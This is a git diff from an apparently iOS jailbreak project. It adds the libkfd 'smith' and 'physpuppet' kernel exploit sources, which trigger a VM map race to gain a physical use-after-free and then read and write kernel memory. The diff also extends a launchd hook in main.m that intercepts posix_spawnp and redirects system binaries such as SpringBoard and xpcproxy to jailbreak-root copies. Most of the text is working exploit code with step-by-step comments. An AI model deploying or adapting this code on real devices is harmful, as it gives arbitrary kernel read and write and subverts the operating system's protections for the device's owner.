+ assert_mach(vm_allocate(mach_task_self(), &address, physpuppet_vme_size, VM_FLAGS_FIXED));
+ memset((void*)(address), 'A', physpuppet_vme_offset);
+ }
+}
+
+void physpuppet_cleanup(struct kfd* kfd)
+{
+ u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr);
+ u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr);
+
+ for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) {
+ u64 puaf_page_uaddr = kfd->puaf.puaf_pages_uaddr[i];
+ if ((puaf_page_uaddr == kread_page_uaddr) || (puaf_page_uaddr == kwrite_page_uaddr)) {
+ continue;
+ }
+
+ assert_mach(vm_deallocate(mach_task_self(), puaf_page_uaddr - physpuppet_vme_offset, physpuppet_vme_size));
+ }
+}
+
+void physpuppet_free(struct kfd* kfd)
+{
+ u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr);
+ u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr);
+
+ assert_mach(vm_deallocate(mach_task_self(), kread_page_uaddr - physpuppet_vme_offset, physpuppet_vme_size));
+ if (kwrite_page_uaddr != kread_page_uaddr) {
+ assert_mach(vm_deallocate(mach_task_self(), kwrite_page_uaddr - physpuppet_vme_offset, physpuppet_vme_size));
+ }
+}
+
+#endif /* physpuppet_h */
diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/smith.h b/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/smith.h
new file mode 100644
index 00000000..4691f467
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/libkfd/puaf/smith.h
@@ -0,0 +1,607 @@
+/*
+ * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
+ */
+
+#ifndef smith_h
+#define smith_h
+
+/*
+ * This boolean parameter determines whether the vm_map_lock() is taken from
+ * another thread before attempting to clean up the VM map in the main thread.
+ */
+const bool take_vm_map_lock = true;
+
+// Forward declarations for helper functions.
+void smith_helper_init(struct kfd* kfd);
+void* smith_helper_spinner_pthread(void* arg);
+void* smith_helper_cleanup_pthread(void* arg);
+void smith_helper_cleanup(struct kfd* kfd);
+
+/*
+ * This structure is allocated once in smith_init() and contains all the data
+ * needed/shared across multiple functions for the PUAF part of the exploit.
+ */
+struct smith_data {
+ atomic_bool main_thread_returned;
+ atomic_int started_spinner_pthreads;
+ struct {
+ vm_address_t address;
+ vm_size_t size;
+ } vme[5];
+ struct {
+ pthread_t pthread;
+ atomic_bool should_start;
+ atomic_bool did_start;
+ atomic_uintptr_t kaddr;
+ atomic_uintptr_t right;
+ atomic_uintptr_t max_address;
+ } cleanup_vme;
+};
+
+/*
+ * This function is responsible for the following:
+ * 1. Allocate the singleton "smith_data" structure. See the comment above the
+ * smith_data structure for more info.
+ * 2. Call smith_helper_init() which is responsible to initialize everything
+ * needed for the PUAF part of the exploit. See the comment above
+ * smith_helper_init() for more info.
+ */
+void smith_init(struct kfd* kfd)
+{
+ kfd->puaf.puaf_method_data_size = sizeof(struct smith_data);
+ kfd->puaf.puaf_method_data = malloc_bzero(kfd->puaf.puaf_method_data_size);
+
+ smith_helper_init(kfd);
+}
+
+/*
+ * This function is responsible to run the bulk of the work, from triggering the
+ * initial vulnerability to achieving a PUAF on an arbitrary number of pages.
+ * It is described in detail in the write-up, with a figure illustrating the
+ * relevant kernel state after each step.
+ */
+void smith_run(struct kfd* kfd)
+{
+ struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data);
+
+ /*
+ * STEP 1:
+ */
+ assert_mach(vm_allocate(mach_task_self(), &smith->vme[2].address, smith->vme[2].size, VM_FLAGS_FIXED));
+ assert_mach(vm_allocate(mach_task_self(), &smith->vme[1].address, smith->vme[1].size, VM_FLAGS_FIXED));
+ assert_mach(vm_allocate(mach_task_self(), &smith->vme[0].address, smith->vme[0].size, VM_FLAGS_FIXED));
+ assert_mach(vm_allocate(mach_task_self(), &smith->vme[3].address, smith->vme[3].size, VM_FLAGS_FIXED | VM_FLAGS_PURGABLE));
+ assert_mach(vm_allocate(mach_task_self(), &smith->vme[4].address, smith->vme[4].size, VM_FLAGS_FIXED | VM_FLAGS_PURGABLE));
+
+ /*
+ * STEP 2:
+ *
+ * Note that vm_copy() in the main thread corresponds to substep 2A in the write-up
+ * and vm_protect() in the spawned threads corresponds to substep 2B.
+ */
+ const u64 number_of_spinner_pthreads = 4;
+ pthread_t spinner_pthreads[number_of_spinner_pthreads] = {};
+
+ for (u64 i = 0; i < number_of_spinner_pthreads; i++) {
+ assert_bsd(pthread_create(&spinner_pthreads[i], NULL, smith_helper_spinner_pthread, kfd));
+ }
+
+ while (atomic_load(&smith->started_spinner_pthreads) != number_of_spinner_pthreads) {
+ usleep(10);
+ }
+
+ assert(vm_copy(mach_task_self(), smith->vme[2].address, (0ull - smith->vme[2].address - 1), 0) == KERN_PROTECTION_FAILURE);
+ atomic_store(&smith->main_thread_returned, true);
+
+ for (u64 i = 0; i < number_of_spinner_pthreads; i++) {
+ /*
+ * I am not sure if joining the spinner threads here will cause the
+ * deallocation of their stack in the VM map. I have never ran into
+ * panics because of this, but it is something to keep in mind.
+ * Otherwise, if it becomes a problem, we can simply make those spinner
+ * threads sleep in a loop until the main thread sends them a signal
+ * that the cleanup is finished.
+ */
+ assert_bsd(pthread_join(spinner_pthreads[i], NULL));
+ }
+
+ /*
+ * STEP 3:
+ */
+ assert_mach(vm_copy(mach_task_self(), smith->vme[3].address, smith->vme[3].size, smith->vme[1].address));
+ memset((void*)(smith->vme[1].address), 'A', smith->vme[1].size);
+
+ /*
+ * STEP 4:
+ */
+ assert_mach(vm_protect(mach_task_self(), smith->vme[1].address, smith->vme[3].size, false, VM_PROT_DEFAULT));
+
+ /*
+ * STEP 5:
+ */
+ assert_mach(vm_copy(mach_task_self(), smith->vme[4].address, smith->vme[4].size, smith->vme[0].address));
+
+ for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) {
+ kfd->puaf.puaf_pages_uaddr[i] = smith->vme[1].address + pages(i);
+ }
+}
+
+/*
+ * This function is responsible for the following:
+ * 1. Call smith_helper_cleanup() which is responsible to patch up the corrupted
+ * state of our VM map. Technically, this is the only thing that is required
+ * to get back to a safe state, which means there is no more risk of a kernel
+ * panic if the process exits or performs any VM operation.
+ * 2. Deallocate the unused virtual memory that we allocated in step 1 of
+ * smith_run(). In other words, we call vm_deallocate() for the VA range
+ * covered by those 5 map entries (i.e. vme0 to vme4 in the write-up), except
+ * for the two pages used by the kread/kwrite primitive. This step is not
+ * required for "panic-safety".
+ */
+void smith_cleanup(struct kfd* kfd)
+{
+ smith_helper_cleanup(kfd);
+
+ struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data);
+ u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr);
+ u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr);
+
+ u64 min_puaf_page_uaddr = min(kread_page_uaddr, kwrite_page_uaddr);
+ u64 max_puaf_page_uaddr = max(kread_page_uaddr, kwrite_page_uaddr);
+
+ vm_address_t address1 = smith->vme[0].address;
+ vm_size_t size1 = smith->vme[0].size + (min_puaf_page_uaddr - smith->vme[1].address);
+ assert_mach(vm_deallocate(mach_task_self(), address1, size1));
+
+ vm_address_t address2 = max_puaf_page_uaddr + pages(1);
+ vm_size_t size2 = (smith->vme[2].address - address2) + smith->vme[2].size + smith->vme[3].size + smith->vme[4].size;
+ assert_mach(vm_deallocate(mach_task_self(), address2, size2));
+
+ /*
+ * No middle block if the kread and kwrite pages are the same or back-to-back.
+ */
+ if ((max_puaf_page_uaddr - min_puaf_page_uaddr) > pages(1)) {
+ vm_address_t address3 = min_puaf_page_uaddr + pages(1);
+ vm_size_t size3 = (max_puaf_page_uaddr - address3);
+ assert_mach(vm_deallocate(mach_task_self(), address3, size3));
+ }
+}
+
+/*
+ * This function is responsible to deallocate the virtual memory for the two
+ * pages used by the kread/kwrite primitive, i.e. the two pages that we did not
+ * deallocate during smith_cleanup(). Once again, this step is not required for
+ * "panic-safety". It can be called either if the kread/kwrite primitives no
+ * longer rely on kernel objects that are controlled through the PUAF primitive,
+ * or if we want to completely tear down the exploit.
+ */
+void smith_free(struct kfd* kfd)
+{
+ u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr);
+ u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr);
+
+ assert_mach(vm_deallocate(mach_task_self(), kread_page_uaddr, pages(1)));
+ if (kwrite_page_uaddr != kread_page_uaddr) {
+ assert_mach(vm_deallocate(mach_task_self(), kwrite_page_uaddr, pages(1)));
+ }
+}
+
+/*
+ * This function is responsible for the following:
+ * 1. If the constant "target_hole_size" is non-zero, it will allocate every
+ * hole in our VM map starting at its min_offset, until we find a hole at
+ * least as big as that value (e.g. 10k pages). The reason for that is that
+ * we will corrupt the hole list when we trigger the vulnerability in
+ * smith_run(), such that only the first hole is safe to allocate from. This
+ * is exactly what happens during a typical call to vm_allocate() with
+ * VM_FLAGS_ANYWHERE. That said, many other VM operations that modify our map
+ * entries or our hole list could cause a kernel panic. So, if it is possible
+ * at all, it is much safer to suspend all other threads running in the target
+ * process (e.g. WebContent). In that case, since we would control the only
+ * running threads during the critical section, we could guarantee that no
+ * unsafe VM operations will happen and "target_hole_size" can be set to 0.
+ * 2. We need to find the VA range from which we will allocate our 5 map entries
+ * in smith_run() during step 1 (i.e. vme0 to vme4 in the write-up). Those 5
+ * map entries will cover (3X+5) pages, where X is the desired number of
+ * PUAF pages. For reasons that are explained in the write-up, we want to
+ * allocate them towards the end of our VM map. Therefore, we find the last
+ * hole that is big enough to hold our 5 map entries.
+ */
+void smith_helper_init(struct kfd* kfd)
+{
+ const u64 target_hole_size = pages(0);
+ bool found_target_hole = false;
+
+ struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data);
+ smith->vme[0].size = pages(1);
+ smith->vme[1].size = pages(kfd->puaf.number_of_puaf_pages);
+ smith->vme[2].size = pages(1);
+ smith->vme[3].size = (smith->vme[1].size + smith->vme[2].size);
+ smith->vme[4].size = (smith->vme[0].size + smith->vme[3].size);
+ u64 smith_total_size = (smith->vme[3].size + smith->vme[4].size + smith->vme[4].size);
+
+ u64 min_address, max_address;
+ puaf_helper_get_vm_map_min_and_max(&min_address, &max_address);
+
+ /*
+ * If the boolean parameter "take_vm_map_lock" is turned on, we spawn the
+ * thread running smith_helper_cleanup_pthread() right here. Please see the
+ * comment above smith_helper_cleanup_pthread() for more info.
+ */
+ if (take_vm_map_lock) {
+ atomic_store(&smith->cleanup_vme.max_address, max_address);
+ assert_bsd(pthread_create(&smith->cleanup_vme.pthread, NULL, smith_helper_cleanup_pthread, kfd));
+ }
+
+ vm_address_t address = 0;
+ vm_size_t size = 0;
+ vm_region_basic_info_data_64_t data = {};
+ vm_region_info_t info = (vm_region_info_t)(&data);
+ mach_msg_type_number_t count = VM_REGION_BASIC_INFO_COUNT_64;
+ mach_port_t port = MACH_PORT_NULL;
+
+ vm_address_t vme0_address = 0;
+ vm_address_t prev_vme_end = 0;
+
+ while (true) {
+ kern_return_t kret = vm_region_64(mach_task_self(), &address, &size, VM_REGION_BASIC_INFO_64, info, &count, &port);
+ if ((kret == KERN_INVALID_ADDRESS) || (address >= max_address)) {
+ if (found_target_hole) {
+ vm_size_t last_hole_size = max_address - prev_vme_end;
+ /*
+ * If "target_hole_size" is zero, we could instead simply set
+ * "vme0_address" to (map->max_offset - smith_total_size),
+ * after making sure that this VA range is not already mapped.
+ */
+ if (last_hole_size >= (smith_total_size + pages(1))) {
+ vme0_address = (max_address - smith_total_size);
+ }
+ }
+
+ break;
+ }
+
+ assert(kret == KERN_SUCCESS);
+
+ /*
+ * Quick hack: pre-fault code pages to avoid faults during the critical section.
+ */
+ if (data.protection & VM_PROT_EXECUTE) {
+ for (u64 page_address = address; page_address < address + size; page_address += pages(1)) {
+ u64 tmp_value = *(volatile u64*)(page_address);
+ }
+ }
+
+ vm_address_t hole_address = prev_vme_end;
+ vm_size_t hole_size = address - prev_vme_end;
+
+ if (prev_vme_end < min_address) {
+ goto next_vm_region;
+ }
+
+ if (found_target_hole) {
+ if (hole_size >= (smith_total_size + pages(1))) {
+ vme0_address = (address - smith_total_size);
+ }
+ } else {
+ if (hole_size >= target_hole_size) {
+ found_target_hole = true;
+ } else if (hole_size > 0) {
+ assert_mach(vm_allocate(mach_task_self(), &hole_address, hole_size, VM_FLAGS_FIXED));
+ }
+ }
+
+next_vm_region:
+ address += size;
+ size = 0;
+ prev_vme_end = address;
+ }
+
+ assert(found_target_hole);
+
+ smith->vme[0].address = vme0_address;
+ smith->vme[1].address = smith->vme[0].address + smith->vme[0].size;
+ smith->vme[2].address = smith->vme[1].address + smith->vme[1].size;
+ smith->vme[3].address = smith->vme[2].address + smith->vme[2].size;
+ smith->vme[4].address = smith->vme[3].address + smith->vme[3].size;
+}
+
+/*
+ * This function is ran by 4 spinner threads spawned from smith_run() in step 2.
+ * It simply attempts to change the protection of virtual page zero to
+ * VM_PROT_WRITE in a busy-loop, which will return KERN_INVALID_ADDRESS until
+ * the main thread triggers the bad clip in vm_map_copyin_internal(). At that
+ * point, vm_protect() will return KERN_SUCCESS. Finally, once the main thread
+ * returns from vm_copy(), it will set "main_thread_returned" to true in order
+ * to signal all 4 spinner threads to exit.
+ */
+void* smith_helper_spinner_pthread(void* arg)
+{
+ struct kfd* kfd = (struct kfd*)(arg);
+ struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data);
+
+ atomic_fetch_add(&smith->started_spinner_pthreads, 1);
+
+ while (!atomic_load(&smith->main_thread_returned)) {
+ kern_return_t kret = vm_protect(mach_task_self(), 0, pages(1), false, VM_PROT_WRITE);
+ assert((kret == KERN_SUCCESS) || (kret == KERN_INVALID_ADDRESS));
+ }
+
+ return NULL;
+}
+
+#define store_for_vme(kaddr) ((kaddr) ? (((kaddr) + offsetof(struct vm_map_entry, store.entry.rbe_left))) : (kaddr))
+#define vme_for_store(kaddr) ((kaddr) ? (((kaddr) - offsetof(struct vm_map_entry, store.entry.rbe_left)) & (~1ull)) : (kaddr))
+
+/*
+ * This function is only ran from a thread spawned in smith_helper_init() if the
+ * boolean parameter "take_vm_map_lock" is turned on. The reason why it is
+ * spawned that early, instead of at the beginning of smith_helper_cleanup(), is
+ * that pthread creation will allocate virtual memory for its stack, which might
+ * cause a kernel panic because we have not patched the corrupted VM map state
+ * yet. It sleeps for 1 ms in a loop until the main thread sets
+ * "cleanup_vme.should_start" to true to signal this thread to start the
+ * procedure to take the vm_map_lock(). It does so by patching the right child
+ * of a map entry to point back to itself, then it sets "cleanup_vme.did_start"
+ * to true to signal the main thread to start patching the state, and finally it
+ * calls vm_protect(), which will take the vm_map_lock() indefinitely while
+ * vm_map_lookup_entry() spins on the right child. Once the main thread has
+ * finished patching up the state, it will restore the right child to its
+ * original value, which will cause vm_protect() to return and this pthread to
+ * exit.
+ */
+void* smith_helper_cleanup_pthread(void* arg)
+{
+ struct kfd* kfd = (struct kfd*)(arg);
+ struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data);
+ vm_address_t max_address = atomic_load(&smith->cleanup_vme.max_address);
+ vm_address_t cleanup_vme_end = 0;
+
+ while (!atomic_load(&smith->cleanup_vme.should_start)) {
+ usleep(1000);
+ }
+
+ do {
+ /*
+ * Find the last entry with vme_end smaller than the map's max_offset,
+ * with a right child that is not null, but not the entry we are going to leak.
+ */
+ u64 map_kaddr = kfd->info.kaddr.current_map;
+ u64 entry_kaddr = static_kget(struct _vm_map, hdr.links.prev, map_kaddr);
+
+ while (true) {
+ u64 entry_prev = static_kget(struct vm_map_entry, links.prev, entry_kaddr);
+ u64 entry_start = static_kget(struct vm_map_entry, links.start, entry_kaddr);
+ u64 entry_end = static_kget(struct vm_map_entry, links.end, entry_kaddr);
+ u64 entry_right = static_kget(struct vm_map_entry, store.entry.rbe_right, entry_kaddr);
+
+ if ((entry_end < max_address) && (entry_right != 0) && (entry_start != 0)) {
+ /*
+ * Patch the entry to have its right child point to itself.
+ */
+ atomic_store(&smith->cleanup_vme.kaddr, entry_kaddr);
+ atomic_store(&smith->cleanup_vme.right, entry_right);
+ static_kset(struct vm_map_entry, store.entry.rbe_right, store_for_vme(entry_kaddr), entry_kaddr);
+ cleanup_vme_end = entry_end;
+ break;
+ }
+
+ entry_kaddr = entry_prev;
+ }
+ } while (0);
+
+ atomic_store(&smith->cleanup_vme.did_start, true);
+ vm_protect(mach_task_self(), cleanup_vme_end, pages(1), false, VM_PROT_ALL);
+ return NULL;
+}
+
+/*
+ * This function is responsible to patch the corrupted state of our VM map. If
+ * the boolean parameter "take_vm_map_lock" is turned on, please see the comment
+ * above smith_helper_cleanup_pthread() for more info. Otherwise, the rest of
+ * the function simply uses the kread primitive to scan the doubly-linked list
+ * of map entries as well as the hole list, and the kwrite primitive to patch it
+ * up. This procedure is explained in detail in part C of the write-up.
+ */
+void smith_helper_cleanup(struct kfd* kfd)
+{
+ assert(kfd->info.kaddr.current_map);
+ struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data);
+
+ if (take_vm_map_lock) {
+ atomic_store(&smith->cleanup_vme.should_start, true);
+ while (!atomic_load(&smith->cleanup_vme.did_start)) {
+ usleep(10);
+ }
+
+ /*
+ * Sleep an extra 100 us to make sure smith_helper_cleanup_pthread()
+ * had the time to take the vm_map_lock().
+ */
+ usleep(100);
+ }
+
+ u64 map_kaddr = kfd->info.kaddr.current_map;
+
+ do {
+ /*
+ * Scan map entries: we use the kread primitive to loop through every
+ * map entries in our VM map, and record the information that we need to
+ * patch things up below. There are some assertions along the way to
+ * make sure the state of the VM map is corrupted as expected.
+ */
+ u64 entry_count = 0;
+ u64 entry_kaddr = static_kget(struct _vm_map, hdr.links.next, map_kaddr);
+ u64 map_entry_kaddr = map_kaddr + offsetof(struct _vm_map, hdr.links.prev);
+ u64 first_vme_kaddr = 0;
+ u64 first_vme_parent_store = 0;
+ u64 second_vme_kaddr = 0;
+ u64 second_vme_left_store = 0;
+ u64 vme_end0_kaddr = 0;
+ u64 vme_end0_start = 0;
+ u64 leaked_entry_right_store = 0;
+ u64 leaked_entry_parent_store = 0;
+ u64 leaked_entry_prev = 0;
+ u64 leaked_entry_next = 0;
+ u64 leaked_entry_end = 0;
+
+ while (entry_kaddr != map_entry_kaddr) {
+ entry_count++;
+ u64 entry_next = static_kget(struct vm_map_entry, links.next, entry_kaddr);
+ u64 entry_start = static_kget(struct vm_map_entry, links.start, entry_kaddr);
+ u64 entry_end = static_kget(struct vm_map_entry, links.end, entry_kaddr);
+
+ if (entry_count == 1) {
+ first_vme_kaddr = entry_kaddr;
+ first_vme_parent_store = static_kget(struct vm_map_entry, store.entry.rbe_parent, entry_kaddr);
+ u64 first_vme_left_store = static_kget(struct vm_map_entry, store.entry.rbe_left, entry_kaddr);
+ u64 first_vme_right_store = static_kget(struct vm_map_entry, store.entry.rbe_right, entry_kaddr);
+ assert(first_vme_left_store == 0);
+ assert(first_vme_right_store == 0);
+ } else if (entry_count == 2) {
+ second_vme_kaddr = entry_kaddr;
+ second_vme_left_store = static_kget(struct vm_map_entry, store.entry.rbe_left, entry_kaddr);
+ } else if (entry_end == 0) {
+ vme_end0_kaddr = entry_kaddr;
+ vme_end0_start = entry_start;
+ assert(vme_end0_start == smith->vme[1].address);
+ } else if (entry_start == 0) {
+ assert(entry_kaddr == vme_for_store(first_vme_parent_store));
+ assert(entry_kaddr == vme_for_store(second_vme_left_store));
+ u64 leaked_entry_left_store = static_kget(struct vm_map_entry, store.entry.rbe_left, entry_kaddr);
+ leaked_entry_right_store = static_kget(struct vm_map_entry, store.entry.rbe_right, entry_kaddr);
+ leaked_entry_parent_store = static_kget(struct vm_map_entry, store.entry.rbe_parent, entry_kaddr);
+ assert(leaked_entry_left_store == 0);
+ assert(vme_for_store(leaked_entry_right_store) == first_vme_kaddr);
+ assert(vme_for_store(leaked_entry_parent_store) == second_vme_kaddr);
+ leaked_entry_prev = static_kget(struct vm_map_entry, links.prev, entry_kaddr);
+ leaked_entry_next = entry_next;
+ leaked_entry_end = entry_end;
+ assert(leaked_entry_end == smith->vme[3].address);
+ }
+
+ entry_kaddr = entry_next;
+ }
+
+ /*
+ * Patch the doubly-linked list.
+ *
+ * We leak "vme2b" from the doubly-linked list, as explained in the write-up.
+ */
+ static_kset(struct vm_map_entry, links.next, leaked_entry_next, leaked_entry_prev);
+ static_kset(struct vm_map_entry, links.prev, leaked_entry_prev, leaked_entry_next);
+
+ /*
+ * Patch "vme2->vme_end".
+ *
+ * The kwrite() call is just a workaround if the kwrite primitive cannot
+ * overwrite 0. Otherwise, the first 4 lines can be omitted.
+ */
+ u64 vme_end0_start_and_next[2] = { vme_end0_start, (-1) };
+ u64 unaligned_kaddr = vme_end0_kaddr + offsetof(struct vm_map_entry, links.start) + 1;
+ u64 unaligned_uaddr = (u64)(&vme_end0_start_and_next) + 1;
+ kwrite((u64)(kfd), (void*)(unaligned_uaddr), unaligned_kaddr, sizeof(u64));
+ static_kset(struct vm_map_entry, links.end, leaked_entry_end, vme_end0_kaddr);
+
+ /*
+ * Patch the red-black tree.
+ *
+ * We leak "vme2b" from the red-black tree, as explained in the write-up.
+ */
+ static_kset(struct vm_map_entry, store.entry.rbe_parent, leaked_entry_parent_store, vme_for_store(leaked_entry_right_store));
+ static_kset(struct vm_map_entry, store.entry.rbe_left, leaked_entry_right_store, vme_for_store(leaked_entry_parent_store));
+
+ /*
+ * Patch map->hdr.nentries.
+ *
+ * I believe this is not strictly necessary to prevent a kernel panic
+ * when the process exits, but I like to patch it just in case.
+ */
+ u64 nentries_buffer = static_kget(struct _vm_map, hdr.nentries, map_kaddr);
+ i32 old_nentries = *(i32*)(&nentries_buffer);
+ *(i32*)(&nentries_buffer) = (old_nentries - 1);
+ static_kset(struct _vm_map, hdr.nentries, nentries_buffer, map_kaddr);
+
+ /*
+ * Patch map->hint.
+ *
+ * We set map->hint to point to vm_map_to_entry(map), which effectively
+ * means there is no valid hint.
+ */
+ static_kset(struct _vm_map, hint, map_entry_kaddr, map_kaddr);
+ } while (0);
+
+ do {
+ /*
+ * Scan hole list: we use the kread primitive to loop through every hole
+ * entry in our VM map's hole list, and record the information that we
+ * need to patch things up below. Once again, there are some assertions
+ * along the way to make sure the state is corrupted as expected.
+ */
+ u64 hole_count = 0;
+ u64 hole_kaddr = static_kget(struct _vm_map, f_s._holes, map_kaddr);
+ u64 first_hole_kaddr = hole_kaddr;
+ u64 prev_hole_end = 0;
+ u64 first_leaked_hole_prev = 0;
+ u64 first_leaked_hole_next = 0;
+ u64 first_leaked_hole_end = 0;
+ u64 second_leaked_hole_prev = 0;
+ u64 second_leaked_hole_next = 0;
+
+ while (true) {
+ hole_count++;
+ u64 hole_next = static_kget(struct vm_map_entry, links.next, hole_kaddr);
+ u64 hole_start = static_kget(struct vm_map_entry, links.start, hole_kaddr);
+ u64 hole_end = static_kget(struct vm_map_entry, links.end, hole_kaddr);
+
+ if (hole_start == 0) {
+ first_leaked_hole_prev = static_kget(struct vm_map_entry, links.prev, hole_kaddr);
+ first_leaked_hole_next = hole_next;
+ first_leaked_hole_end = hole_end;
+ assert(prev_hole_end == smith->vme[1].address);
+ } else if (hole_start == smith->vme[1].address) {
+ second_leaked_hole_prev = static_kget(struct vm_map_entry, links.prev, hole_kaddr);
+ second_leaked_hole_next = hole_next;
+ assert(hole_end == smith->vme[2].address);
+ }
+
+ hole_kaddr = hole_next;
+ prev_hole_end = hole_end;
+ if (hole_kaddr == first_hole_kaddr) {
+ break;
+ }
+ }
+
+ /*
+ * Patch the hole entries.
+ *
+ * We patch the end address of the first hole and we leak the two extra
+ * holes, as explained in the write-up.
+ */
+ static_kset(struct vm_map_entry, links.end, first_leaked_hole_end, first_leaked_hole_prev);
+ static_kset(struct vm_map_entry, links.next, first_leaked_hole_next, first_leaked_hole_prev);
+ static_kset(struct vm_map_entry, links.prev, first_leaked_hole_prev, first_leaked_hole_next);
+ static_kset(struct vm_map_entry, links.next, second_leaked_hole_next, second_leaked_hole_prev);
+ static_kset(struct vm_map_entry, links.prev, second_leaked_hole_prev, second_leaked_hole_next);
+
+ /*
+ * Patch map->hole_hint.
+ *
+ * We set map->hole_hint to point to the first hole, which is guaranteed
+ * to not be one of the two holes that we just leaked.
+ */
+ static_kset(struct _vm_map, vmmap_u_1.vmmap_hole_hint, first_hole_kaddr, map_kaddr);
+ } while (0);
+
+ if (take_vm_map_lock) {
+ /*
+ * Restore the entry to have its right child point to its original value.
+ */
+ u64 entry_kaddr = atomic_load(&smith->cleanup_vme.kaddr);
+ u64 entry_right = atomic_load(&smith->cleanup_vme.right);
+ static_kset(struct vm_map_entry, store.entry.rbe_right, entry_right, entry_kaddr);
+ assert_bsd(pthread_join(smith->cleanup_vme.pthread, NULL));
+ }
+}
+
+#endif /* smith_h */
diff --git a/RootHelperSample/launchdshim/launchdhook/main.m b/RootHelperSample/launchdshim/launchdhook/main.m
index 774fc860..991015eb 100644
--- a/RootHelperSample/launchdshim/launchdhook/main.m
+++ b/RootHelperSample/launchdshim/launchdhook/main.m
@@ -10,9 +10,19 @@
#include
#include
#include
-
#include
#include
+#include "crashreporter.h"
+#include "xpc_hook.h"
+#import "jbserver/exec_patch.h"
+#include "fun/krw.h"
+#include "jbserver/info.h"
+
+char HOOK_DYLIB_PATH[PATH_MAX] = {0};
+
+bool gInEarlyBoot = true;
+void abort_with_reason(uint32_t reason_namespace, uint64_t reason_code, const char *reason_string, uint64_t reason_flags);
+
#define PT_DETACH 11 /* stop tracing a process */
#define PT_ATTACHEXC 14 /* attach to running process with signal exception */
@@ -35,7 +45,6 @@
int (*memorystatus_control_orig)(uint32_t command, int32_t pid, uint32_t flags, void *buffer, size_t buffersize);
bool (*xpc_dictionary_get_bool_orig)(xpc_object_t dictionary, const char *key);
-
int hooked_csops(pid_t pid, unsigned int ops, void *useraddr, size_t usersize) {
int result = orig_csops(pid, ops, useraddr, usersize);
if (result != 0) return result;
@@ -58,7 +67,6 @@ void change_launchtype(const posix_spawnattr_t *attrp, const char *restrict path
const char *prefixes[] = {
"/private/preboot",
jbroot(@"/").UTF8String,
-// "/Applications/MediaRemoteUI.app/"
};
if (__builtin_available(macOS 13.0, iOS 16.0, tvOS 16.0, watchOS 9.0, *)) {
@@ -79,51 +87,118 @@ void change_launchtype(const posix_spawnattr_t *attrp, const char *restrict path
}
}
+#define JB_ROOT_PREFIX ".jbroot-"
+#define JB_RAND_LENGTH (sizeof(uint64_t)*sizeof(char)*2)
+int is_jbrand_value(uint64_t value)
+{
+ uint8_t check = value>>8 ^ value >> 16 ^ value>>24 ^ value>>32 ^ value>>40 ^ value>>48 ^ value>>56;
+ return check == (uint8_t)value;
+}
+
+int is_jbroot_name(const char* name)
+{
+ if(strlen(name) != (sizeof(JB_ROOT_PREFIX)-1+JB_RAND_LENGTH))
+ return 0;
+
+ if(strncmp(name, JB_ROOT_PREFIX, sizeof(JB_ROOT_PREFIX)-1) != 0)
+ return 0;
+
+ char* endp=NULL;
+ uint64_t value = strtoull(name+sizeof(JB_ROOT_PREFIX)-1, &endp, 16);
+ if(!endp || *endp!='\0')
+ return 0;
+
+ if(!is_jbrand_value(value))
+ return 0;
+
+ return 1;
+}
+
+NSString* find_jbroot()
+{
+ //jbroot path may change when re-randomize it
+ NSString * jbroot = nil;
+ NSArray *subItems = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:@"/var/containers/Bundle/Application/" error:nil];
+ for (NSString *subItem in subItems) {
+ if (is_jbroot_name(subItem.UTF8String))
+ {
+ NSString* path = [@"/var/containers/Bundle/Application/" stringByAppendingPathComponent:subItem];
+ jbroot = path;
+ break;
+ }
+ }
+ return jbroot;
+}
int hooked_posix_spawn(pid_t *pid, const char *path, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, char *argv[], char *const envp[]) {
change_launchtype(attrp, path);
return orig_posix_spawn(pid, path, file_actions, attrp, argv, envp);
}
+//const char *installd = "/usr/libexec/installd";
+//const char *nfcd = "/usr/libexec/nfcd";
+//const char *springboard = "/System/Library/CoreServices/SpringBoard.app/SpringBoard";
+//const char *mrui = "/Applications/MediaRemoteUI.app/MediaRemoteUI";
+//const char *xpcproxy = "/usr/libexec/xpcproxy";
+#define INSTALLD_PATH "/usr/libexec/installd"
+#define NFCD_PATH "/usr/libexec/nfcd"
+#define SPRINGBOARD_PATH "/System/Library/CoreServices/SpringBoard.app/SpringBoard"
+#define MRUI_PATH "/Applications/MediaRemoteUI.app/MediaRemoteUI"
+#define XPCPROXY_PATH "/usr/libexec/xpcproxy"
+#define MEDIASERVERD_PATH "/usr/sbin/mediaserverd"
+
+void log_path(char* path, char* jbroot_path) {
+ FILE *file = fopen("/var/mobile/launchd.log", "a");
+ char output[256];
+ sprintf(output, "[launchd] changing path %s to %s\n", path, jbroot_path);
+ fputs(output, file);
+ fclose(file);
+}
+
int hooked_posix_spawnp(pid_t *restrict pid, const char *restrict path, const posix_spawn_file_actions_t *restrict file_actions, posix_spawnattr_t *attrp, char *argv[restrict], char *const envp[restrict]) {
change_launchtype(attrp, path);
- const char *springboardPath = "/System/Library/CoreServices/SpringBoard.app/SpringBoard";
- const char *coolerSpringboard = jbroot("/System/Library/CoreServices/SpringBoard.app/SpringBoard");
- const char *mruiPath = "/Applications/MediaRemoteUI.app/MediaRemoteUI";
- const char *coolerMrui = jbroot("/Applications/MediaRemoteUI.app/MediaRemoteUI");
- const char *xpcproxyPath = "/usr/libexec/xpcproxy";
